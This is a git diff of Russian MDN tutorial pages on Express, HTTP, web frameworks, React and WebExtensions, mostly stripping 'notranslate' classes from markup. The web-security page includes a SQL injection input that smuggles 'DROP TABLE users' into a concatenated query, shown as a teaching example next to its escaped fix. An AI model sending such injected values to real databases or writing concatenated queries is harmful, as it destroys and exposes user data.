(именно это позволяет импортировать файл в app.js):.</p> -<pre class="brush: js notranslate">var express = require('express'); +<pre class="brush: js">var express = require('express'); var router = express.Router(); /* GET users listing. */ @@ -467,7 +467,7 @@ module.exports = router; <p>Файлы преставлений (шаблонов) хранятся в каталоге <strong><font color="#333333"><font face="Arial, x-locale-body, sans-serif"><font size="3">/views </font></font></font></strong><font color="#333333"><font face="Times New Roman, serif"><font size="3">(это указано в </font></font><font face="Courier New, monospace"><font size="3">app.js</font></font><font face="Times New Roman, serif"><font size="3">) и имеют расширение</font></font></font><strong><font color="#333333"><font face="Times New Roman, serif"><font size="3"> </font></font></font></strong><strong>.pug</strong>. Метод <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> выполняет указанный шаблон, передавая объекту значение именованной переменной, и затем посылает результат как ответ. В коде из <strong>/routes/index.js</strong> (приводится ниже) можно увидеть, что роут отвечает, используя шаблон "index" с переданным значением переменной "title" из шаблона.</p> -<pre class="brush: js notranslate">/* GET home page. */ +<pre class="brush: js">/* GET home page. */ router.get('/', function(req, res) { res.render('index', { title: 'Express' }); }); @@ -475,7 +475,7 @@ router.get('/', function(req, res) { <p>Шаблон для пути '/' приведён ниже (файл <strong>index.pug</strong>). О синтаксисе мы поговорим позже. Сейчас важно знать, что переменная title со значением 'Express' помещена в определённое место шаблона.</p> -<pre class="notranslate">extends layout +<pre>extends layout block content h1= title diff --git a/files/ru/learn/server-side/first_steps/client-server_overview/index.html b/files/ru/learn/server-side/first_steps/client-server_overview/index.html index 38168b8a5d..5521c93ef0 100644 --- a/files/ru/learn/server-side/first_steps/client-server_overview/index.html +++ b/files/ru/learn/server-side/first_steps/client-server_overview/index.html @@ -82,7 +82,7 @@ translation_of: Learn/Server-side/First_steps/Client-Server_overview <p>Каждая строка запроса содержит информацию о запросе. Первая часть называется <strong>заголовок</strong> и содержит важную информацию о запросе, точно так же, как <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/The_head_metadata_in_HTML">HTML head</a> содержит важную информацию о HTML-документе (но не содержимое документа, которое расположено внутри тэга "body"):</p> -<pre class="notranslate">GET https://developer.mozilla.org/en-US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 +<pre>GET https://developer.mozilla.org/en-US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1 Host: developer.mozilla.org Connection: keep-alive Pragma: no-cache @@ -132,7 +132,7 @@ Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSC <p>В конце сообщения мы видим содержимое <strong>body, </strong>содержащее HTML-код возвращаемого ответа.</p> -<pre class="brush: html notranslate">HTTP/1.1 200 OK +<pre class="brush: html">HTTP/1.1 200 OK Server: Apache X-Backend-Server: developer1.webapp.scl3.mozilla.com Vary: Accept,Cookie, Accept-Encoding @@ -166,7 +166,7 @@ Content-Length: 41823 <p>В приведённом ниже тексте показан HTTP-запрос, сделанный когда пользователь загружает новые данные профиля на этом сайте. Формат запроса почти такой же, как пример запроса <code>GET</code>, показанный ранее, хотя первая строка идентифицирует этот запрос как <code>POST</code>.</p> -<pre class="brush: html notranslate">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 +<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1 Host: developer.mozilla.org Connection: keep-alive Content-Length: 432 @@ -190,7 +190,7 @@ csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwil <p>Ответ от запроса показан ниже. Код состояния «<code>302 Found</code>» сообщает браузеру, что сообщение обработано, и что необходим второй HTTP-запрос для загрузки страницы, указанной в поле <code>Location</code>. В остальном информация аналогична информации для ответа на запрос <code>GET</code> .</p> -<pre class="brush: html notranslate">HTTP/1.1 302 FOUND +<pre class="brush: html">HTTP/1.1 302 FOUND Server: Apache X-Backend-Server: developer3.webapp.scl3.mozilla.com Vary: Cookie @@ -277,7 +277,7 @@ Content-Length: 0 <p>Для примера рассмотрим следующий код Django (Python), который связывает два URL-шаблона с двумя функциями просмотра. Первый шаблон проверяет, что HTTP-запрос с URL-адресом ресурса <code>/best</code> будет передан функции с именем <code>index()</code> в модуле <code>views</code>. Запрос, который имеет шаблон «<code>/best/junior</code>», вместо этого будет передан функции просмотра <code>junior()</code>.</p> -<pre class="brush: python notranslate"># file: best/urls.py +<pre class="brush: python"># file: best/urls.py # from django.conf.urls import url @@ -299,7 +299,7 @@ urlpatterns = [ <p>В приведённом ниже примере представлен список всех команд, у которых есть точный (с учётом регистра) <code>team_type</code> «junior» («младший») — обратите внимание на формат: имя поля (<code>team_type</code>), за которым следует двойной знак подчёркивания, а затем тип соответствия для использования (в этом случае <code>exact</code> («точное»)). Существует много других типов соответствия, и мы можем объединить их. Мы также можем контролировать порядок и количество возвращаемых результатов.</p> -<pre class="brush: python notranslate">#best/views.py +<pre class="brush: python">#best/views.py from django.shortcuts import render diff --git a/files/ru/learn/server-side/first_steps/web_frameworks/index.html b/files/ru/learn/server-side/first_steps/web_frameworks/index.html index 54d00a7baf..ec0f7368c9 100644 --- a/files/ru/learn/server-side/first_steps/web_frameworks/index.html +++ b/files/ru/learn/server-side/first_steps/web_frameworks/index.html @@ -47,7 +47,7 @@ translation_of: Learn/Server-side/First_steps/Web_frameworks <p>Пример ниже показывает, как это работает в веб-фреймворке Django (Python). Каждая функция «view» (обработчик запроса) получает объект <code>HttpRequest</code>, содержащий информацию о запросе, и должна вернуть объект <code>HttpResponse</code> с форматированным выводом (в этом случае строка).</p> -<pre class="brush: python notranslate"># Django view function +<pre class="brush: python"># Django view function from django.http import HttpResponse def index(request): @@ -63,13 +63,13 @@ def index(request): <p>Различные фреймворки используют различные механизмы для сопоставления. Например, веб-фреймворк Flask (Python) добавляет маршруты для просмотра функций используя декораторы.</p> -<pre class="brush: python notranslate">@app.route("/") +<pre class="brush: python">@app.route("/") def hello(): return "Hello World!"</pre> <p>Django ожидает, что разработчики определят список сопоставлений URL-адресов между шаблоном URL-адреса и функцией просмотра.</p> -<pre class="brush: python notranslate">urlpatterns = [ +<pre class="brush: python">urlpatterns = [ url(r'^$', views.index), # example: /best/myteamname/5/ url(r'^best/(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best), @@ -97,7 +97,7 @@ def hello(): <br> Первый фрагмент кода ниже показывает очень простую модель Django для объекта</span> <code>Team</code><span class="tlid-translation translation" lang="ru">. Это сохраняет название команды и уровень команды как символьные поля и определяет максимальное количество символов для каждой записи.</span> <code>team_level</code><span class="tlid-translation translation" lang="ru"> </span>—<span class="tlid-translation translation" lang="ru"> это поле выбора, поэтому здесь мы связываем варианты значений на выбор с сохраняемыми данными, а также значение по умолчанию.</span></p> -<pre class="brush: python notranslate">#best/models.py +<pre class="brush: python">#best/models.py from django.db import models @@ -117,7 +117,7 @@ class Team(models.Model): <br> <span title="">Второй фрагмент кода показывает функцию представления (обработчик ресурсов) для отображения всех наших команд U09.</span> <span title="">В этом случае мы указываем, что мы хотим фильтровать для всех записей, где поле</span></span> <code>team_level</code> <span class="tlid-translation translation" lang="ru"><span title="">имеет в точности текст «U09» (обратите внимание ниже, как этот критерий передаётся функции</span></span> <code>filter()</code> <span class="tlid-translation translation" lang="ru"><span title="">в качестве аргумента с именем поля и типом соответствия, отделённым двойным</span> <span title="">подчёркиванием: <strong>team_level__exact</strong>).</span></span></p> -<pre class="brush: python notranslate">#best/views.py +<pre class="brush: python">#best/views.py from django.shortcuts import render from .models import Team @@ -145,7 +145,7 @@ def youngest(request): <p><span class="tlid-translation translation" lang="ru"><span title="">Фрагмент кода ниже показывает, как это работает.</span> <span title="">Продолжая пример «самой молодой команды» из предыдущего раздела, HTML-шаблон передаёт представлению переменную списка</span></span> <code>youngest_teams</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Внутри скелета HTML у нас есть выражение, которое сначала проверяет, существует ли переменная <code>youngest_teams</code>, а затем повторяет её в цикле <code>for</code>.</span> <span title="">На каждой итерации шаблон отображает значение <code>team_name</code> команды в элементе списка.</span></span></p> -<pre class="brush: html notranslate">#best/templates/best/index.html +<pre class="brush: html">#best/templates/best/index.html <!DOCTYPE html> <html lang="en"> diff --git a/files/ru/learn/server-side/first_steps/website_security/index.html b/files/ru/learn/server-side/first_steps/website_security/index.html index 1f976dd741..912fa2c0d5 100644 --- a/files/ru/learn/server-side/first_steps/website_security/index.html +++ b/files/ru/learn/server-side/first_steps/website_security/index.html @@ -73,11 +73,11 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <br> <span title="">Эта уязвимость присутствует, если пользовательский ввод, который передаётся в базовый оператор SQL, может изменить смысл оператора.</span> <span title="">Например, следующий код предназначен для перечисления всех пользователей с определённым именем (userName), которое было предоставлено из формы HTML:</span></span></p> -<pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> +<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Если пользователь указывает реальное имя, оператор будет работать так, как задумано.</span> <span title="">Однако злонамеренный пользователь может полностью изменить поведение этого оператора SQL на новый оператор в следующем примере, просто указав текст полужирным шрифтом для userName.</span></span></p> -<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; </pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Модифицированный оператор создаёт действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе).</span> <span title="">Это работает, потому что первая часть введённого текста (a ';) завершает исходное утверждение.</span><br> @@ -90,7 +90,7 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <p>В следующей инструкции мы экранируем символ '. Теперь SQL будет интерпретировать имя как всю строку, выделенную жирным шрифтом (это действительно очень странное имя, но безопасное).</p> -<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; +<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; </pre> diff --git a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html index e40dfd08dd..df7473673e 100644 --- a/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html +++ b/files/ru/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html @@ -53,13 +53,13 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <p>React utilizes features of modern JavaScript for many of its patterns. Its biggest departure from JavaScript comes with the use of <a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a> syntax. JSX extends JavaScript's syntax so that HTML-like code can live alongside it. For example:</p> -<pre class="brush: js notranslate">const heading = <h1>Mozilla Developer Network</h1>;</pre> +<pre class="brush: js">const heading = <h1>Mozilla Developer Network</h1>;</pre> <p>This heading constant is known as a <strong>JSX expression</strong>. React can use it to render that <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1></a></code> tag in our app.</p> <p>Suppose we wanted to wrap our heading in a <code><a href="/en-US/docs/Web/HTML/Element/header"><header></a></code> tag, for semantic reasons? The JSX approach allows us to nest our elements within each other, just like we do with HTML:</p> -<pre class="brush: js notranslate">const header = ( +<pre class="brush: js">const header = ( <header> <h1>Mozilla Developer Network</h1> </header> @@ -68,7 +68,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <div class="blockIndicator note"> <p><strong>Note</strong>: The parentheses in the previous snippet aren't unique to JSX, and don’t have any effect on your application. They're a signal to you (and your computer) that the multiple lines of code inside are part of the same expression. You could just as well write the header expression like this:</p> -<pre class="brush: js notranslate">const header = <header> +<pre class="brush: js">const header = <header> <h1>Mozilla Developer Network</h1> </header></pre> @@ -77,7 +77,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <p>Of course, your browser can't read JSX without help. When compiled (using a tool like <a href="https://babeljs.io/">Babel</a> or <a href="https://parceljs.org/">Parcel</a>), our header expression would look like this:</p> -<pre class="brush: js notranslate">const header = React.createElement("header", null, +<pre class="brush: js">const header = React.createElement("header", null, React.createElement("h1", null, "Mozilla Developer Network") );</pre> @@ -115,7 +115,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <p>create-react-app takes one argument: the name you'd like to give your app. create-react-app uses this name to make a new directory, then creates the necessary files inside it. Make sure you <code>cd</code> to the place you'd like your app to live on your hard drive, then run the following in your terminal:</p> -<pre class="brush: bash notranslate">npx create-react-app moz-todo-react</pre> +<pre class="brush: bash">npx create-react-app moz-todo-react</pre> <p>This creates a <code>moz-todo-react</code> directory, and does several things inside it:</p> @@ -129,7 +129,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <div class="blockIndicator note"> <p><strong>Note</strong>: if you have the yarn package manager installed, create-react-app will default to using it instead of npm. If you have both package managers installed and explicitly want to use NPM, you can add the flag <code>--use-npm</code> when you run create-react-app:</p> -<pre class="brush: bash notranslate">npx create-react-app moz-todo-react --use-npm</pre> +<pre class="brush: bash">npx create-react-app moz-todo-react --use-npm</pre> </div> <p>create-react-app will display a number of messages in your terminal while it works; this is normal! This might take a few minutes, so now might be a good time to go make a cup of tea.</p> @@ -142,7 +142,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <p>create-react-app gives us everything we need to develop a React application. Its initial file structure looks like this:</p> -<pre class="notranslate">moz-todo-react +<pre>moz-todo-react ├── README.md ├── node_modules ├── package.json @@ -175,7 +175,7 @@ original_slug: Learn/Tools_and_testing/Фронтенд_JavaScript_фреймв <p>Let's open <code>src/App.js</code>, since our browser is prompting us to edit it. This file contains our first component, <code>App</code>, and a few other lines of code:</p> -<pre class="brush: js notranslate">import React from 'react'; +<pre class="brush: js">import React from 'react'; import logo from './logo.svg'; import './App.css'; @@ -207,7 +207,7 @@ export default App;</pre> <p>The <code>import</code> statements at the top of the file allow <code>App.js</code> to use code that has been defined elsewhere. Let's look at these statements more closely.</p> -<pre class="brush: js notranslate">import React from 'react'; +<pre class="brush: js">import React from 'react'; import logo from './logo.svg'; import './App.css';</pre> @@ -225,7 +225,7 @@ import './App.css';</pre> <p>Let's look at App more closely.</p> -<pre class="brush: js notranslate">function App() { +<pre class="brush: js">function App() { return ( <div className="App"> <header className="App-header"> @@ -254,7 +254,7 @@ import './App.css';</pre> <p>Your <code>App</code> component should now look like this:</p> -<pre class="brush: js notranslate">function App() { +<pre class="brush: js">function App() { return ( <div className="App"> <header className="App-header"> @@ -275,7 +275,7 @@ import './App.css';</pre> <p>Let’s open <code>src/index.js</code>, because that's where the <code>App</code> component is being used. This file is the entry point for our app, and it initially looks like this:</p> -<pre class="brush: js notranslate">import React from 'react'; +<pre class="brush: js">import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; import App from './App'; @@ -307,7 +307,7 @@ serviceWorker.unregister();</pre> <p>Your final <code>index.js</code> file should look like this:</p> -<pre class="brush: js notranslate">import React from 'react'; +<pre class="brush: js">import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; import App from './App'; @@ -322,13 +322,13 @@ ReactDOM.render(<App />, document.getElementById('root'));</pre> <p>Back in <code>App.js</code>, let’s focus on line 9:</p> -<pre class="brush: js notranslate"><img src={logo} className="App-logo" alt="logo" /></pre> +<pre class="brush: js"><img src={logo} className="App-logo" alt="logo" /></pre> <p>Here, the <code><img /></code> tag's <code>src</code> attribute value is in curly braces. This is how JSX recognizes variables. React will see <code>{logo}</code>, know you are referring to the logo import on line 2 of our app, then retrieve the logo file and render it.</p> <p>Let's try making a variable of our own. Before the return statement of <code>App</code>, add <code>const subject = 'React';</code>. Your <code>App</code> component should now look like this:</p> -<pre class="brush: js notranslate">function App() { +<pre class="brush: js">function App() { const subject = "React"; return ( <div className="App"> @@ -344,7 +344,7 @@ ReactDOM.render(<App />, document.getElementById('root'));</pre> <p>Change line 8 to use our <code>subject</code> variable instead of the word "world", like this:</p> -<pre class="brush: js notranslate">function App() { +<pre class="brush: js">function App() { const subject = "React"; return ( <div className="App"> @@ -368,11 +368,11 @@ ReactDOM.render(<App />, document.getElementById('root'));</pre> <p>Add a prop of <code>subject</code> to the <code><App/></code> component call, with a value of <code>Clarice</code>. When you are done, your code should look something like this:</p> -<pre class="brush: js notranslate">ReactDOM.render(<App subject="Clarice" />, document.getElementById('root'));</pre> +<pre class="brush: js">ReactDOM.render(<App subject="Clarice" />, document.getElementById('root'));</pre> <p>Back in <code>App.js</code>, let's revisit the App function itself, which reads like this (with the <code>return</code> statement shortened for brevity):</p> -<pre class="brush: js notranslate">function App() { +<pre class="brush: js">function App() { const subject = "React"; return ( // return statement @@ -381,7 +381,7 @@ ReactDOM.render(<App />, document.getElementById('root'));</pre> <p>Change the signature of the <code>App</code> function so that it accepts <code>props</code> as a parameter. Just like any other parameter, you can put <code>props</code> in a <code>console.log()</code> to read it out to your browser's console. Go ahead and do that after your <code>subject</code> constant but before the <code>return</code> statement, like so:</p> -<pre class="brush: js notranslate">function App(props) { +<pre class="brush: js">function App(props) { const subject = "React"; console.log(props); return ( @@ -391,13 +391,13 @@ ReactDOM.render(<App />, document.getElementById('root'));</pre> <p>Save your file and check your browser's JavaScript console. You should see something like this logged:</p> -<pre class="brush: js notranslate">Object { subject: "Clarice" }</pre> +<pre class="brush: js">Object { subject: "Clarice" }</pre> <p>The object property <code>subject</code> corresponds to the <code>subject</code> prop we added to our <code><App /></code> component call, and the string <code>Clarice</code> corresponds to its value. Component props in React are always collected into objects in this fashion.</p> <p>Now that <code>subject</code> is one of our props, let's utilize it in <code>App.js</code>. Change the <code>subject</code> constant so that, instead of defining it as the string <code>React</code>, you are reading the value of <code>props.subject</code>. You can also delete your <code>console.log()</code> if you want.</p> -<pre class="brush: js notranslate">function App(props) { +<pre class="brush: js">function App(props) { const subject = props.subject; return ( // return statement diff --git a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html index dace78d8ef..b55785298c 100644 --- a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html +++ b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html @@ -8,38 +8,38 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension --- <p>{{AddonSidebar}}</p> -<p><span class="notranslate">Расширение состоит из набора файлов, упакованных для распространения и установки.</span> <span class="notranslate"> В этой статье мы быстро рассмотрим файлы, которые могут присутствовать в расширении.</span></p> +<p><span>Расширение состоит из набора файлов, упакованных для распространения и установки.</span> <span> В этой статье мы быстро рассмотрим файлы, которые могут присутствовать в расширении.</span></p> <h2 id="manifest.json">manifest.json</h2> -<p><span class="notranslate">Это единственный файл, который должен присутствовать в каждом расширении.</span> <span class="notranslate"> Он содержит основные метаданные, такие как его имя, версию и требуемые разрешения.</span> <span class="notranslate"> Он также предоставляет указатели на другие файлы в расширении.</span></p> +<p><span>Это единственный файл, который должен присутствовать в каждом расширении.</span> <span> Он содержит основные метаданные, такие как его имя, версию и требуемые разрешения.</span> <span> Он также предоставляет указатели на другие файлы в расширении.</span></p> -<p><span class="notranslate">Этот манифест также может содержать указатели на несколько других типов файлов:</span></p> +<p><span>Этот манифест также может содержать указатели на несколько других типов файлов:</span></p> <ul> - <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">Background pages</a>: <span class="notranslate">Реализует долгоиграющую логику.</span></li> - <li><span class="notranslate">Иконки для расширения и любых кнопок, которые оно может определить.</span></li> - <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Sidebars_popups_options_pages">Sidebars, popups, and options pages</a>: <span class="notranslate">HTML-документы, которые предоставляют содержимое для различных компонентов пользовательского интерфейса.</span></li> - <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">Content scripts</a>: <span class="notranslate">JavaScript сценарии вашего расширения, которые будут исполняться на веб-страницах.</span></li> + <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">Background pages</a>: <span>Реализует долгоиграющую логику.</span></li> + <li><span>Иконки для расширения и любых кнопок, которые оно может определить.</span></li> + <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Sidebars_popups_options_pages">Sidebars, popups, and options pages</a>: <span>HTML-документы, которые предоставляют содержимое для различных компонентов пользовательского интерфейса.</span></li> + <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">Content scripts</a>: <span>JavaScript сценарии вашего расширения, которые будут исполняться на веб-страницах.</span></li> <li><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Web_accessible_resources">Web-accessible resources</a>: Делает контент вашего расширения видимым для веб-страниц и скриптов.</li> </ul> <p><br> <img alt="" src="https://mdn.mozillademos.org/files/13669/webextension-anatomy.png" style="display: block; height: 581px; margin-left: auto; margin-right: auto; width: 600px;"></p> -<p><span class="notranslate">Для получения подробной информации см. справочную страницу </span> <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a></p> +<p><span>Для получения подробной информации см. справочную страницу </span> <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a></p> -<p><span class="notranslate">Помимо ссылок, указанных в манифесте, расширение может включать дополнительные</span> <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Extension_pages">веб-страницы расширения</a><span class="notranslate"> с поддерживающимися файлами.</span></p> +<p><span>Помимо ссылок, указанных в манифесте, расширение может включать дополнительные</span> <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Extension_pages">веб-страницы расширения</a><span> с поддерживающимися файлами.</span></p> <h2 id="Фоновые_скрипты">Фоновые скрипты</h2> -<p><span class="notranslate">Расширения часто должны поддерживать долгосрочное состояние или выполнять долгосрочные операции независимо от срока жизни любой конкретной веб-страницы или окна браузера.</span> <span class="notranslate"> Для этого нужны фоновые сценарии.</span></p> +<p><span>Расширения часто должны поддерживать долгосрочное состояние или выполнять долгосрочные операции независимо от срока жизни любой конкретной веб-страницы или окна браузера.</span> <span> Для этого нужны фоновые сценарии.</span></p> -<p><span class="notranslate">Фоновые сценарии загружаются сразу после загрузки расширения и остаются загруженными до тех пор, пока расширение не будет отключено или удалено.</span> <span class="notranslate"> вы можете использовать любой</span> <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/API">API расширений</a> <span class="notranslate">в сценарии, если вы запросили необходимые </span><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">разрешения</a>.</p> +<p><span>Фоновые сценарии загружаются сразу после загрузки расширения и остаются загруженными до тех пор, пока расширение не будет отключено или удалено.</span> <span> вы можете использовать любой</span> <a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/API">API расширений</a> <span>в сценарии, если вы запросили необходимые </span><a href="https://developer.mozilla.org/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">разрешения</a>.</p> <h3 id="Спецификации_фоновых_скриптов">Спецификации фоновых скриптов</h3> -<p><span class="notranslate">Вы можете включить фоновый скрипт, используя <code>background</code> ключ в «manifest.json»:</span></p> +<p><span>Вы можете включить фоновый скрипт, используя <code>background</code> ключ в «manifest.json»:</span></p> <pre class="brush: json">// manifest.json @@ -47,9 +47,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension "scripts": ["background-script.js"] }</pre> -<p><span class="notranslate">Вы можете указать несколько фоновых сценариев: если вы это сделаете, они выполняются в том же контексте, как и несколько сценариев, загруженных на одной веб-странице.</span></p> +<p><span>Вы можете указать несколько фоновых сценариев: если вы это сделаете, они выполняются в том же контексте, как и несколько сценариев, загруженных на одной веб-странице.</span></p> -<p>Вместо указания <span class="notranslate">несколько фоновых сценариев</span> вы можете указать фоновую страницу, которая так же преимущества поддержки ES6 модулей:</p> +<p>Вместо указания <span>несколько фоновых сценариев</span> вы можете указать фоновую страницу, которая так же преимущества поддержки ES6 модулей:</p> <p style="margin-bottom: 0em;"><strong>manifest.json</strong></p> diff --git a/files/ru/mozilla/add-ons/webextensions/api/downloads/index.html b/files/ru/mozilla/add-ons/webextensions/api/downloads/index.html index 735dab43d5..120b33ba44 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/downloads/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/downloads/index.html @@ -92,7 +92,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/downloads </div> <div class="hidden"> -<pre class="notranslate">// Copyright 2015 The Chromium Authors. All rights reserved. +<pre>// Copyright 2015 The Chromium Authors. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are diff --git a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html index 6f9eafef23..94e04a964b 100644 --- a/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html +++ b/files/ru/mozilla/add-ons/webextensions/api/webrequest/index.html @@ -157,7 +157,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/API/webRequest </div> <div class="hidden"> -<pre class="notranslate">// Copyright 2015 The Chromium Authors. All rights reserved. +<pre>// Copyright 2015 The Chromium Authors. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are diff --git a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html index 04a051899b..d0e1614767 100644 --- a/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html +++ b/files/ru/mozilla/add-ons/webextensions/intercept_http_requests/index.html @@ -26,7 +26,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests <p>Создайте новый каталог "requests". В нём создайте файл "manifest.json" со следующим содержимым:</p> -<pre class="brush: json notranslate">{ +<pre class="brush: json">{ "description": "Demonstrating webRequests", "manifest_version": 2, "name": "webRequest-demo", @@ -44,7 +44,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests <p>Далее, создайте файл "background.js" со следующим содержимым:</p> -<pre class="brush: js notranslate">function logURL(requestDetails) { +<pre class="brush: js">function logURL(requestDetails) { console.log("Loading: " + requestDetails.url); } @@ -65,7 +65,7 @@ browser.webRequest.onBeforeRequest.addListener( <p>Теперь давайте использовать <code>webRequest</code> для перенаправления HTTP-запросов. Во-первых, замените manifest.json на это:</p> -<pre class="brush: json notranslate">{ +<pre class="brush: json">{ "description": "Demonstrating webRequests", "manifest_version": 2, @@ -88,7 +88,7 @@ browser.webRequest.onBeforeRequest.addListener( <p>Затем замените «background.js» следующим образом:</p> -<pre class="brush: js notranslate">var pattern = "https://mdn.mozillademos.org/*"; +<pre class="brush: js">var pattern = "https://mdn.mozillademos.org/*"; function redirect(requestDetails) { console.log("Redirecting: " + requestDetails.url); @@ -121,7 +121,7 @@ browser.webRequest.onBeforeRequest.addListener( <p>Replace "background.js" with code like this:</p> -<pre class="brush: js notranslate">var targetPage = "http://useragentstring.com/*"; +<pre class="brush: js">var targetPage = "http://useragentstring.com/*"; var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16"; diff --git a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html index cc858907f9..4c70617131 100644 --- a/files/ru/mozilla/add-ons/webextensions/internationalization/index.html +++ b/files/ru/mozilla/add-ons/webextensions/internationalization/index.html @@ -77,7 +77,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <p>Давайте рассмотрим структуру одного из этих файлов (<a href="https://github.com/mdn/webextensions-examples/blob/master/notify-link-clicks-i18n/_locales/en/messages.json">_locales/en/messages.json</a>):</p> -<pre class="brush: json notranslate">{ +<pre class="brush: json">{ "extensionName": { "message": "Notify link clicks i18n", "description": "Name of the extension." @@ -121,7 +121,7 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <p>Чтобы интернационализировать строки, их нужно указывать следующим образом:</p> -<pre class="brush: json notranslate">"name": "__MSG_extensionName__", +<pre class="brush: json">"name": "__MSG_extensionName__", "description": "__MSG_extensionDescription__",</pre> <p>Здесь мы получаем сообщения, зависящие от локализации браузера, а не просто статические строки.</p> @@ -136,13 +136,13 @@ original_slug: Mozilla/Add-ons/WebExtensions/Интернационализац <li>Два подчёркивания</li> </ol> -<pre class="notranslate"><strong>__MSG_</strong> + 